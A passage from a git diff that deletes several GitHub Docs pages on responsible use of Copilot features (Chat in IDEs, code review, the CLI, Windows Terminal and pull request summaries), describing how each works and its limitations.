reusables.rai.copilot.copilot-chat-ide-input-processing-custom-instructions %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-all2 %} - -{% data reusables.rai.copilot.copilot-chat-ide-language-model-analysis %} - -{% data reusables.rai.copilot.copilot-chat-ide-response-generation %} - -When you use the `@github` chat participant, {% data variables.product.prodname_copilot_chat_short %} will be able to gather context from your code stored on {% data variables.product.github %} and search results from Bing (if enabled by your administrator). - -{% data reusables.rai.copilot.copilot-chat-ide-output-formatting %} - -{% data reusables.rai.copilot.copilot-chat-ide-leveraging-web-search %} - -{% data reusables.rai.copilot.copilot-chat-ide-use-cases %} - -### Answering coding questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} for help or clarification on specific coding problems and receive responses in natural language format or in code snippet format. - -The response generated by {% data variables.product.prodname_copilot_chat_short %} will use the model's training data set to answer your questions. - -This can be a useful tool for programmers, as it can provide guidance and support for common coding tasks and challenges. - -{% data reusables.rai.copilot.copilot-chat-ide-improving-performance %} -{% data reusables.rai.copilot.copilot-chat-ide-provide-feedback %} -{% data reusables.rai.copilot.copilot-chat-ide-stay-up-to-date %} - -{% data reusables.rai.copilot.copilot-chat-ide-limitations %} - -{% data reusables.rai.copilot.copilot-chat-ide-next-steps %} - -{% endvisualstudio %} - -{% jetbrains %} - -{% data reusables.rai.copilot.about-copilot-chat-ide %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-all1 %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-all2 %} - -{% data reusables.rai.copilot.copilot-chat-ide-language-model-analysis %} - -{% data reusables.rai.copilot.copilot-chat-ide-response-generation %} - -{% data reusables.rai.copilot.copilot-chat-ide-output-formatting %} - -{% data reusables.rai.copilot.copilot-chat-ide-use-cases %} - -### Answering coding questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} for help or clarification on specific coding problems and receive responses in natural language format or in code snippet format. - -The response generated by {% data variables.product.prodname_copilot_chat_short %} will use the model's training data set to answer your questions. - -This can be a useful tool for programmers, as it can provide guidance and support for common coding tasks and challenges. - -{% data reusables.rai.copilot.copilot-chat-ide-improving-performance %} -{% data reusables.rai.copilot.copilot-chat-ide-provide-feedback %} -{% data reusables.rai.copilot.copilot-chat-ide-stay-up-to-date %} - -{% data reusables.rai.copilot.copilot-chat-ide-limitations %} - -{% data reusables.rai.copilot.copilot-chat-ide-next-steps %} - -{% endjetbrains %} - -{% eclipse %} - -{% data reusables.rai.copilot.about-copilot-chat-ide %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-all1 %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-all2 %} - -{% data reusables.rai.copilot.copilot-chat-ide-language-model-analysis %} - -{% data reusables.rai.copilot.copilot-chat-ide-response-generation %} - -{% data reusables.rai.copilot.copilot-chat-ide-output-formatting %} - -## Use cases for {% data variables.product.prodname_copilot_chat %} - -{% data variables.product.prodname_copilot_chat %} can provide coding assistance in a variety of scenarios. -{% data reusables.rai.copilot.copilot-chat-generate-test-cases %} - -### Explaining code and suggesting improvements - -{% data variables.product.prodname_copilot_chat_short %} can help explain the code in a file by generating natural language descriptions of the code's functionality and purpose. This can be useful if you want to understand the code's behavior or for non-technical stakeholders who need to understand how the code works. For example, you can ask {% data variables.product.prodname_copilot_short %} to explain a named function in the currently displayed file and {% data variables.product.prodname_copilot_chat_short %} will generate a natural language description of what the code does. This can include information such as the function's input and output parameters, and its dependencies. - -{% data variables.product.prodname_copilot_chat_short %} can also suggest potential improvements to the code, such as improved handling of errors and edge cases, or changes to the logical flow to make the code more readable. - -By generating explanations and suggesting related documentation, {% data variables.product.prodname_copilot_chat_short %} may help you to understand the code in a project, leading to improved collaboration and more effective software development. However, it's important to note that the generated explanations and documentation may not always be accurate or complete, so you'll need to review, and occasionally correct, {% data variables.product.prodname_copilot_chat_short %}'s output. - -{% data reusables.rai.copilot.copilot-chat-propose-fixes %} - -### Answering coding questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} for help or clarification on specific coding problems and receive responses in natural language format or in code snippet format. - -The response generated by {% data variables.product.prodname_copilot_chat_short %} will use the model's training data set to answer your questions. - -This can be a useful tool for programmers, as it can provide guidance and support for common coding tasks and challenges. - -{% data reusables.rai.copilot.copilot-chat-ide-improving-performance %} -{% data reusables.rai.copilot.copilot-chat-ide-stay-up-to-date %} - -{% data reusables.rai.copilot.copilot-chat-ide-limitations %} - -{% data reusables.rai.copilot.copilot-chat-ide-next-steps %} - -{% endeclipse %} diff --git a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-code-review.md b/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-code-review.md deleted file mode 100644 index 665e4282d0cf..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-code-review.md +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Responsible use of GitHub Copilot code review -shortTitle: Code review -intro: "Learn how to use {% data variables.copilot.copilot_code-review %} safely and responsibly by understanding its purposes, capabilities, and limitations." -versions: - feature: copilot -topics: - - Copilot -type: rai -redirect_from: - - /early-access/copilot/code-review/responsible-use-of-copilot-code-review - - /early-access/copilot/code-reviews/responsible-use-of-copilot-code-review - - /early-access/copilot/code-reviews/responsible-use-of-copilot-code-reviews ---- - -> [!NOTE] -> * {% data variables.copilot.copilot_code-review %} is in {% data variables.release-phases.public_preview %} and subject to change. -> * The [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-pre-release-license-terms) apply to your use of this product. - -## About {% data variables.copilot.copilot_code-review %} - -{% data variables.copilot.copilot_code-review %} is an AI-powered feature that reviews code and provides feedback. - -When a user requests a code review from {% data variables.product.prodname_copilot_short %}, {% data variables.product.prodname_copilot_short %} scans through the code changes, plus additional relevant context, and provides feedback on the code. As part of that feedback, it may also provide specific suggested code changes. - -{% data variables.product.prodname_copilot_short %}'s review can be customized with coding guidelines, which are natural language descriptions of coding style and best practices. For more information, see [AUTOTITLE](/copilot/using-github-copilot/code-review/configuring-coding-guidelines). - -The only supported language for {% data variables.copilot.copilot_code-review %} is English. - -{% data variables.copilot.copilot_code-review %} inspects your code and provides feedback using a combination of natural language processing and machine learning. This process can be broken down into a number of steps. - -### Input processing - -The code changes are combined with other relevant, contextual information (for example, the pull request’s title and body on {% data variables.product.github %}) and your coding guidelines to form a prompt, and that prompt is sent to a large language model. - -### Language model analysis - -The prompt is then passed through the {% data variables.product.prodname_copilot_short %} language model, which is a neural network that has been trained on a large body of text data. The language model analyzes the input prompt. - -### Response generation - -The language model generates a response based on its analysis of the input prompt. This response can take the form of natural language suggestions and code suggestions. - -### Output formatting - -The response generated by {% data variables.product.prodname_copilot_short %} is presented to the user directly in {% data variables.product.prodname_vscode %} or as a pull request review on {% data variables.product.github %}, providing code feedback linked to specific lines of specific files. - -Where {% data variables.product.prodname_copilot_short %} has provided a code suggestion, the suggestion is presented as a suggested change, which can be applied with a couple of clicks. - -## Use case for {% data variables.copilot.copilot_code-review %} - -The goal of {% data variables.copilot.copilot_code-review %} is to quickly provide feedback on a developer’s code. This can enable developers to get code ready to merge more quickly and increase overall code quality. - -## Improving the performance of {% data variables.copilot.copilot_code-review %} - -### Use {% data variables.copilot.copilot_code-review_short %} to supplement human reviews, not to replace them - -While {% data variables.copilot.copilot_code-review %} can be a powerful tool for improving code quality, it is important to use it as a tool, rather than to replace human reviews. - -You should always review and verify the feedback generated by {% data variables.copilot.copilot_code-review_short %}, and supplement {% data variables.product.prodname_copilot_short %}'s feedback with careful human review to ensure your code meets your requirements. - -### Provide feedback - -If you encounter any issues or limitations with {% data variables.copilot.copilot_code-review_short %}, we recommend that you provide feedback by using the thumbs up and thumbs down buttons on {% data variables.product.prodname_copilot_short %}'s comments. This can help GitHub to improve the tool and address any concerns or limitations. - -### Configure coding guidelines - -You can configure coding guidelines to help {% data variables.product.prodname_copilot_short %} understand your coding style and best practices. For more information, see [AUTOTITLE](/copilot/using-github-copilot/code-review/configuring-coding-guidelines). - -## Limitations of {% data variables.copilot.copilot_code-review %} - -Depending on factors such as your codebase and programming language, you may encounter different levels of performance when using {% data variables.copilot.copilot_code-review %}. The following information is designed to help you understand system limitations and key concepts about performance as they apply to {% data variables.copilot.copilot_code-review %}. - -### Limited scope - -{% data variables.copilot.copilot_code-review_short %} only supports a specific set of programming languages, and it is only designed to identify a limited, fixed set of code quality issues. To ensure that all relevant problems are identified and corrected, {% data variables.copilot.copilot_code-review_short %} should be supplemented with careful human code review. - -### Missed code quality problems - -{% data variables.product.prodname_copilot_short %} may not identify all of the problems that are present in code, especially where changes are large or complex. To ensure that all relevant problems are identified and corrected, {% data variables.copilot.copilot_code-review_short %} should be supplemented with careful human code review. - -### False positives - -{% data variables.copilot.copilot_code-review_short %} has a risk of "hallucination" - that is, it may highlight problems in reviewed code that do not exist or are based on misunderstandings of the code. Comments generated by {% data variables.copilot.copilot_code-review_short %} should be carefully reviewed and considered before taking action and making changes. - -### Inaccurate or insecure code - -As part of its comments, {% data variables.copilot.copilot_code-review_short %} may provide specific code suggestions. The code generated may appear to be valid, but may not actually be semantically or syntactically correct, or may not correctly resolve the problem identified in the comment. In addition, code generated by {% data variables.product.prodname_copilot_short %} may contain security vulnerabilities or other issues. You should always carefully review and test code generated by {% data variables.product.prodname_copilot_short %}. - -### Potential biases - -{% data variables.product.prodname_copilot_short %}'s training data is drawn from existing code repositories, which may contain biases and errors that can be perpetuated by the tool. Additionally, {% data variables.copilot.copilot_code-review_short %} may be biased toward certain programming languages or coding styles, which can lead to suboptimal or incomplete feedback. - -## Next steps - -For details of how to use {% data variables.copilot.copilot_code-review_short %}, see: - -* [AUTOTITLE](/copilot/using-github-copilot/code-review/using-copilot-code-review) diff --git a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-in-the-cli.md b/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-in-the-cli.md deleted file mode 100644 index 8fa173d71571..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-in-the-cli.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Responsible use of GitHub Copilot in the CLI -shortTitle: Copilot in the CLI -intro: 'Learn how to use {% data variables.product.prodname_copilot_cli %} responsibly by understanding its purposes, capabilities, and limitations.' -product: '{% data reusables.gated-features.copilot-in-cli %}' -versions: - feature: copilot-in-the-cli -type: rai -topics: - - Copilot - - CLI -redirect_from: - - /copilot/github-copilot-in-the-cli/about-github-copilot-in-the-cli ---- - -## About {% data variables.product.prodname_copilot_cli %} - -{% data variables.product.prodname_copilot_cli %} provides a chat-like interface in the terminal that allows you to ask questions about the command line. You can ask {% data variables.product.prodname_copilot %} to provide either command suggestions or explanations of given commands. - -The only supported language for {% data variables.product.prodname_copilot_cli %} is English. - -{% data variables.product.prodname_copilot_cli %} parses your question and provides an answer using a combination of natural language processing and machine learning. This process can be broken down into a number of steps. - -### Input processing - -The input prompt from the user is pre-processed by {% data variables.product.prodname_copilot_cli %} and sent to a {% data variables.product.company_short %} service that is connected to a large language model that then generates a response based on the context and prompt. User input can take the form of natural language prompts or questions. It may also include choosing the command type they would like to ask about from a predetermined list, i.e. generic shell command, Git (`git`), or {% data variables.product.prodname_cli %} (`gh`). The system is only intended to respond to command line-related questions. For more information about {% data variables.product.prodname_cli %}, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -### Language model analysis - -The input prompt is then passed through the language model, which is a neural network that has been trained on a large body of text data. The language model analyzes the input prompt to find the command or command explanation most relevant to your query. - -### Response generation - -The language model generates a response based on its analysis of the input prompt. This response will take the form of a suggested command or an explanation of the command you asked about. If you want to run a suggested command, you need to copy the command and paste it in a separate window or tab in the terminal. - -### Output formatting - -The response generated by {% data variables.product.prodname_copilot_cli %} is formatted and presented to you. {% data variables.product.prodname_copilot_cli_short %} uses syntax highlighting, indentation, and other formatting features to add clarity to the generated response. - -{% data variables.product.prodname_copilot_cli_short %} is intended to provide you with the most relevant answer to your question. However, it may not always provide the answer you are looking for. Users of {% data variables.product.prodname_copilot_cli %} are responsible for reviewing and validating responses generated by the system to ensure they are accurate and appropriate. {% data variables.product.prodname_copilot_cli_short %} also provides an optional feedback mechanism to rate suggestions, which helps us improve the tool for the future. For more information, see [Improving {% data variables.product.prodname_copilot_cli %}](#improving-github-copilot-in-the-cli). - -## Use cases for {% data variables.product.prodname_copilot_cli %} - -{% data variables.product.prodname_copilot_cli %} can help you by providing either command suggestions or explanations of given commands. - -### Find the right command to perform a task - -{% data variables.product.prodname_copilot_cli %} aims to suggest commands that help you perform the tasks you’re trying to complete. To help {% data variables.product.prodname_copilot_cli_short %} provide better suggestions, you can specify the type of command you are looking for (generic, `git`, or `gh`). If the result isn’t quite what you’re looking for, you can keep revising your question until the returned command meets your expectations. Once you’ve generated the perfect command for your task, you can copy it to your clipboard to run it wherever you need, or you can ask {% data variables.product.prodname_copilot_cli %} to execute the command for you. - -### Explain an unfamiliar command - -{% data variables.product.prodname_copilot_cli %} can help explain a command that you asked about by generating a natural language description of the command's functionality and purpose. This can be useful if you want to understand the command's behavior for the specific example provided without having to read or search through the command's documentation. The explanation can include information such as the command's input and output parameters and examples of how it could be used. - -By generating explanations, {% data variables.product.prodname_copilot_cli %} may help you to understand the command better, leading to enhanced learning, improved productivity, and less context switching. However, it's important to note that the generated explanations may not always be accurate or complete, so you'll need to review, and occasionally correct, its output. You remain responsible for ensuring the accuracy and appropriateness of the commands you run in the command line. - -## Improving {% data variables.product.prodname_copilot_cli %} - -To enhance the experience and address some of the limitations of {% data variables.product.prodname_copilot_cli %}, there are various measures that you can adopt. For more information about the limitations, see [Limitations of {% data variables.product.prodname_copilot_cli %}](#limitations-of-github-copilot-in-the-cli). - -### Use {% data variables.product.prodname_copilot_cli %} as a tool, not a replacement - -While {% data variables.product.prodname_copilot_cli %} can be a powerful tool for enhancing understanding of commands and the command line, it is important to use it as a tool rather than a replacement for human programming. You should always review and verify the command generated by {% data variables.product.prodname_copilot_cli_short %} to ensure that it meets your requirements and is free of errors or security concerns. - -### Provide feedback - -If you encounter any issues or limitations with {% data variables.product.prodname_copilot_cli %}, we recommend that you provide feedback by selecting the "Rate response" option in {% data variables.product.prodname_copilot_cli %}. This can help the developers to improve the tool and address any concerns or limitations. - -## Limitations of {% data variables.product.prodname_copilot_cli %} - -Depending on factors such as your operating system and input data, you may encounter different levels of accuracy when using {% data variables.product.prodname_copilot_cli %}. The following information is designed to help you understand system limitations and key concepts about performance as they apply to {% data variables.product.prodname_copilot_cli %}. - -### Limited scope - -{% data variables.product.prodname_copilot_cli %} operates within defined boundaries and might struggle with intricate commands, less common ones, or more recently developed tools. The quality of suggestions it provides for each language can be influenced by the availability and diversity of training data. For instance, inquiries about well-documented commands and tools like Git may yield more accurate responses compared to questions about more obscure command line tools. - -### Potential biases and errors - -{% data variables.product.prodname_copilot_cli %}'s training data is sourced from existing online sources. It’s important to note that these sources may include biases and errors of the individuals who contributed to the training data. {% data variables.product.prodname_copilot_cli_short %} may inadvertently perpetuate these biases and errors. Additionally, {% data variables.product.prodname_copilot_cli %} might perform differently depending on the scripting languages or scripting styles, potentially resulting in suboptimal or incomplete command suggestions or explanations. - -### Inaccurate responses - -{% data variables.product.prodname_copilot_cli %} may generate seemingly valid but syntactically or semantically incorrect commands. To avoid issues, always carefully review and verify suggestions, especially for critical or destructive tasks such as deleting content. Ensure generated commands align with best practices and fit your workflow. - -### Risk management and user accountability in command execution - -Additional caution is required with the addition of the functionality to ask {% data variables.product.prodname_copilot_cli %} to execute a command, particularly regarding the potential destructiveness of some suggested commands. You may encounter commands for file deletion or hard drive formatting, which can cause problems if used incorrectly. While such commands may be necessary in certain scenarios, you need to be careful when accepting and running these commands. - -Additionally, you are ultimately responsible for the commands executed by {% data variables.product.prodname_copilot_cli %}. It is entirely your decision whether to use commands generated by {% data variables.product.prodname_copilot_cli %}. Despite the presence of fail-safes and safety mechanisms, you must understand that executing commands carries inherent risks. {% data variables.product.prodname_copilot_cli %} provides a powerful tool set, but you should approach its recommendations with caution and ensure that commands align with your intentions and requirements. - -### Inaccurate responses to non-coding topics - -{% data variables.product.prodname_copilot_cli %} is not designed to answer questions beyond the scope of command line-related tasks. As a result, its responses might not consistently offer accuracy or assistance when confronted with questions unrelated to coding or general command line use. When you inquire about non-coding topics, {% data variables.product.prodname_copilot_cli %} may express its inability to provide a meaningful response. - -### Differing performance based on natural language - -{% data variables.product.prodname_copilot_cli %} has been trained on natural language content written predominantly in English. As a result, you may notice differing performance when providing {% data variables.product.prodname_copilot_cli %} with natural language input prompts in languages other than English. - -## Further reading - -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center/) diff --git a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-in-windows-terminal.md b/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-in-windows-terminal.md deleted file mode 100644 index b2231a133681..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-in-windows-terminal.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Responsible use of GitHub Copilot in Windows Terminal -shortTitle: Copilot in Windows Terminal -intro: 'Learn how to use {% data variables.product.prodname_copilot %} responsibly by understanding its purposes, capabilities, and limitations.' -product: '{% data reusables.gated-features.copilot-in-windows-terminal %}' -versions: - feature: copilot -topics: - - Copilot -type: rai ---- - -## About {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_windows_terminal %} - -{% data variables.product.prodname_copilot %} in the Terminal Chat chat interface allows you to ask questions about the command line. You can ask {% data variables.product.prodname_copilot %} to provide either command suggestions or explanations of given commands. - -The primary supported language for {% data variables.product.prodname_copilot %} is English. - -{% data variables.product.prodname_copilot %} works by using a combination of natural language processing and machine learning to understand your question and provide you with an answer. This process can be broken down into a number of steps. - -### Input processing - -The input prompt from the user is pre-processed by Terminal Chat, combined with contextual information (the name of the active shell and the chat history), and sent to a {% data variables.product.company_short %} service that is connected to a large language model that then generates a response based on the context and prompt. User input can take the form of natural language prompts or questions. The system is only intended to respond to command line-related questions. For more information, see [Terminal Chat](https://learn.microsoft.com/windows/terminal/terminal-chat). - -### Language model analysis - -The input prompt is then passed through the language model, which is a neural network that has been trained on a large body of text data. The language model analyzes the input prompt to find the command or command explanation most relevant to your query. - -### Response generation - -The language model generates a response based on its analysis of the input prompt. This response will take the form of a suggested command or an explanation of the command you asked about. If you want to run a suggested command, you need to click on the command to insert it to your command line. The command does not run automatically. You will need to manually run the command. - -### Output formatting - -The response generated by {% data variables.product.prodname_copilot %} is formatted and presented to you. Terminal Chat and {% data variables.product.prodname_copilot %} use syntax highlighting, indentation, and other formatting features to add clarity to the generated response. - -{% data variables.product.prodname_copilot %} is intended to provide you with the most relevant answer to your question. However, it may not always provide the answer you are looking for. Users of {% data variables.product.prodname_copilot %} are responsible for reviewing and validating responses generated by the system to ensure they are accurate and appropriate. - -## Use cases for {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_windows_terminal %} - -{% data variables.product.prodname_copilot %} in Terminal Chat can help you by providing either command suggestions or explanations of given commands. - -### Find the right command to perform a task - -{% data variables.product.prodname_copilot %} aims to suggest commands that help you perform the tasks you’re trying to complete. If the result isn’t quite what you’re looking for, you can keep revising your question until the returned command meets your expectations. Once you’ve generated the perfect command for your task, you can insert it to your command line to run it wherever you need. - -### Explain an unfamiliar command - -{% data variables.product.prodname_copilot %} can help explain a command that you asked about by generating a natural language description of the command's functionality and purpose. This can be useful if you want to understand the command's behavior for the specific example provided without having to read or search through the command's documentation. The explanation can include information such as the command's input and output parameters and examples of how it could be used. - -By generating explanations, {% data variables.product.prodname_copilot %} may help you to understand the command better, leading to enhanced learning, improved productivity, and less context switching. However, it's important to note that the generated explanations may not always be accurate or complete, so you'll need to review, and occasionally correct, its output. You remain responsible for ensuring the accuracy and appropriateness of the commands you run in the command line. - -## Improving {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_windows_terminal %} - -To enhance the experience and address some of the limitations of {% data variables.product.prodname_copilot %}, there are various measures that you can adopt. For more information about the limitations, see [Limitations of {% data variables.product.prodname_copilot %}](#limitations-of-github-copilot-in-windows-terminal). - -### Use {% data variables.product.prodname_copilot %} as a tool, not a replacement - -While {% data variables.product.prodname_copilot %} can be a powerful tool for enhancing understanding of commands and the command line, it is important to use it as a tool rather than a replacement for human programming. You should always review and verify the command generated by {% data variables.product.prodname_copilot %} to ensure that it meets your requirements and is free of errors or security concerns. - -### Provide feedback - -If you encounter any issues or limitations with {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_windows_terminal %}, we recommend that you provide feedback by opening an issue in the [{% data variables.product.prodname_windows_terminal %} repository](https://github.com/microsoft/terminal/issues). This can help the developers to improve the tool and address any concerns or limitations. - -## Limitations of {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_windows_terminal %} - -Depending on factors such as your operating system and input data, you may encounter different levels of accuracy when using {% data variables.product.prodname_copilot %} in the terminal. The following information is designed to help you understand system limitations and key concepts about performance as they apply to {% data variables.product.prodname_copilot %}. - -### Limited scope - -{% data variables.product.prodname_copilot %} operates within defined boundaries and might struggle with intricate commands, less common ones, or more recently developed tools. The quality of suggestions it provides for each language can be influenced by the availability and diversity of training data. For instance, inquiries about well-documented commands and tools like Git may yield more accurate responses compared to questions about more obscure command line tools. - -### Potential biases and errors - -{% data variables.product.prodname_copilot %}'s training data is sourced from existing online sources. It’s important to note that these sources may include biases and errors of the individuals who contributed to the training data. {% data variables.product.prodname_copilot %} may inadvertently perpetuate these biases and errors. Additionally, {% data variables.product.prodname_copilot %} might perform differently depending on the scripting languages or scripting styles, potentially resulting in suboptimal or incomplete command suggestions or explanations. - -### Inaccurate responses - -{% data variables.product.prodname_copilot %} may generate seemingly valid but syntactically or semantically incorrect commands. To avoid issues, always carefully review and verify suggestions, especially for critical or destructive tasks such as deleting content. Ensure generated commands align with best practices and fit your workflow. - -### Risk management and user accountability in command execution - -Additional caution is required with the addition of the functionality to ask {% data variables.product.prodname_copilot %} to execute a command, particularly regarding the potential destructiveness of some suggested commands. You may encounter commands for file deletion or hard drive formatting, which can cause problems if used incorrectly. While such commands may be necessary in certain scenarios, you need to be careful when accepting and running these commands. - -Additionally, you are ultimately responsible for the commands executed by {% data variables.product.prodname_copilot %}. It is entirely your decision whether to use commands generated by {% data variables.product.prodname_copilot %}. Despite the presence of fail-safes and safety mechanisms, you must understand that executing commands carries inherent risks. {% data variables.product.prodname_copilot %} provides a powerful tool set, but you should approach its recommendations with caution and ensure that commands align with your intentions and requirements. - -### Inaccurate responses to non-coding topics - -{% data variables.product.prodname_copilot %} in {% data variables.product.prodname_windows_terminal %} is not designed to answer questions beyond the scope of command line-related tasks. As a result, its responses might not consistently offer accuracy or assistance when confronted with questions unrelated to coding or general command line use. When you inquire about non-coding topics, {% data variables.product.prodname_copilot %} may express its inability to provide a meaningful response. - -### Differing performance based on natural language - -{% data variables.product.prodname_copilot %} has been trained on natural language content written predominantly in English. As a result, you may notice differing performance when providing {% data variables.product.prodname_copilot %} with natural language input prompts in languages other than English. - -## Further reading - -* [Terminal Chat](https://learn.microsoft.com/windows/terminal/terminal-chat) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center/) diff --git a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-pull-request-summaries.md b/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-pull-request-summaries.md deleted file mode 100644 index 266f59a87a3a..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-pull-request-summaries.md +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Responsible use of GitHub Copilot pull request summaries -shortTitle: Pull request summaries -intro: 'Learn how to use {% data variables.product.prodname_copilot_for_prs %} responsibly by understanding its purposes, capabilities, and limitations.' -versions: - feature: copilot -topics: - - Copilot -type: rai -redirect_from: - - /copilot/github-copilot-enterprise/copilot-pull-request-summaries/about-copilot-pull-request-summaries ---- - -## About {% data variables.product.prodname_copilot_for_prs %} - -{% data variables.product.prodname_copilot_for_prs %} is an AI-powered feature that allows you to create a summary of the changes that were made in a pull request, which files they impact, and what a reviewer should focus on when they conduct their review. - -When a user requests a summary, {% data variables.product.prodname_copilot_short %} scans through the pull request and provides an overview of the changes made in prose, as well as a bulleted list of changes with the files that they impact. - -The only supported language for {% data variables.product.prodname_copilot_for_prs %} is English. - -{% data variables.product.prodname_copilot_for_prs %} uses a simple-prompt flow leveraging the {% data variables.product.prodname_copilot_short %} API, with no additional trained models. This utilizes the generic large language model. - -### Response generation - -The current process uses a large language model to initiate the auto-complete process and generate the pull request summary. - -#### Pipeline approach - -When a user requests a summary, a workflow is triggered. The workflow uses the code diffs to build a prompt call, which requests {% data variables.product.prodname_copilot_short %} to generate a summary of the pull request. The summary request initiates a pipeline process which includes raw diffs from summarizable files in a prompt and requests {% data variables.product.prodname_copilot_short %} to generate an overall summary for the pull request. - -### Output formatting - -You can initiate this feature when creating a pull request, by editing the pull request description after creation, or in a comment in the pull request thread. Upon initiation, {% data variables.product.prodname_copilot_short %} will generate a two part summary: - -* A paragraph, written in prose, giving an overview of the changes in the pull request. -* A bulleted list of the key changes, linked to the respective lines of code where those changes occur. - -Larger pull requests can take a couple minutes for {% data variables.product.prodname_copilot_short %} to generate. Depending on your enterprise settings, you can share your feedback on a summary directly from the UI after a summary is generated to help us continue to improve the feature. - -## Use case for pull request summaries - -The goal of {% data variables.product.prodname_copilot_for_prs %} is to help optimize an author's ability to quickly provide context when they request a human review that requires sharing context of the changes that were made. It may help increase developer productivity by reducing the time taken to open a pull request. - -For many users, it could provide more helpful context for the changes that were made within a pull request than would normally be available. - -## Improving performance of pull request summaries - -### Use {% data variables.product.prodname_copilot_for_prs %} as a tool, not a replacement - -The feature is intended to supplement rather than replace a human's work to add context, and we encourage you to continue adding useful context and let {% data variables.product.prodname_copilot_short %} do the busy work of parsing the code and linking to specific files. It remains your responsibility to review and assess the accuracy of information in a pull request that you create. - -### Provide feedback - -{% data reusables.rai.copilot-dotcom-feedback-collection %} - -If you encounter any issues or limitations with {% data variables.product.prodname_copilot_for_prs %}, you can provide feedback by clicking the "Bad summary" button (a thumbs down icon), which is displayed below the text box after a summary is generated and before you click **Create pull request** or **Update comment**. - -![Screenshot of the bottom of a pull request comment. The feedback icons, thumbs up and thumbs down, are highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-summary-feedback.png) - -After you rate a summary as good or bad, you can provide written feedback by clicking the link that's displayed. - -## Limitations of pull request summaries - -Currently, our team is aware that there are limitations to this feature. Many of them are expected in leveraging our {% data variables.product.prodname_copilot_short %} API; however, there are a few that are specific to {% data variables.product.prodname_copilot_for_prs %} which pertain to limited scope, longer processing times, and inaccurate responses. We also note that users should expect terms used in their PR to appear in the AI-generated summary. This feature has been subject to RAI Red Teaming and we will continue to monitor the efficacy and safety of the feature over time. For more information, see [Microsoft AI Red Team building future of safer AI](https://www.microsoft.com/en-us/security/blog/2023/08/07/microsoft-ai-red-team-building-future-of-safer-ai/) on the Microsoft security blog. - -### Limited scope - -Because of capacity, we know that larger pull requests that reference 30 or more files will require more time to be processed thoroughly. We don't have an exact threshold currently, but have observed the first 30 files being accounted for and then any additional files being omitted from the summarization. We are working to address this current scope limitation. - -### Processing time - -In general, we expect a summary to be returned in 40 seconds or less after a user initiates the action. However, we have heard that this can take up to a minute, and in some cases a couple of minutes. We are working to decrease processing time and we know that users may not want to wait for this to finish before moving on to other parts of the pull request. - -### Inaccurate responses - -The more inputs and context that {% data variables.product.prodname_copilot_short %} can learn from, the better the outputs will become. However, since the feature is quite new, it will take time to reach exact precision with the summaries that are generated. In the meantime, there may be cases where a generated summary is less accurate and requires the user to make modifications before saving and publishing their pull request with this description. In addition, there is a risk of "hallucination," where {% data variables.product.prodname_copilot_short %} generates statements that are inaccurate. For these reasons, reviewing is a requirement, and careful review of the output is highly recommended by our team. - -### Regenerating summaries - -Pull request summaries are only created when users request them manually. When users submit updates or changes to their pull request, the summary is not automatically updated. Users can ask {% data variables.product.prodname_copilot_short %} to generate a new summary if required. Manual review of the updated {% data variables.product.prodname_copilot_short %} summary is highly recommended. The updated summary carries the same risks of inaccuracy as the original summary. - -### Replication of pull request content - -Because a summary is an outline of the changes that were made in a pull request, if harmful or offensive terms are within the content of the pull request, there is potential for the summary to also include those terms. - -## Further reading - -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center/) -{%- ifversion fpt %} -* [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-pull-request-summaries/creating-a-pull-request-summary-with-github-copilot) in the {% data variables.product.prodname_ghe_cloud %} documentation. -{%- endif %} diff --git a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-text-completion.md b/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-text-completion.md deleted file mode 100644 index 4a1ea61f5aa1..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-text-completion.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Responsible use of GitHub Copilot text completion -shortTitle: Copilot text completion -intro: 'Learn how to use {% data variables.product.prodname_copilot_autocomplete_pr %} responsibly by understanding its purposes, capabilities, and limitations.' -versions: - feature: copilot -permissions: 'Members of an enterprise with a subscription to {% data variables.product.prodname_copilot_enterprise %}' -topics: - - Copilot -type: rai ---- - -{% ifversion fpt %} - -{% data 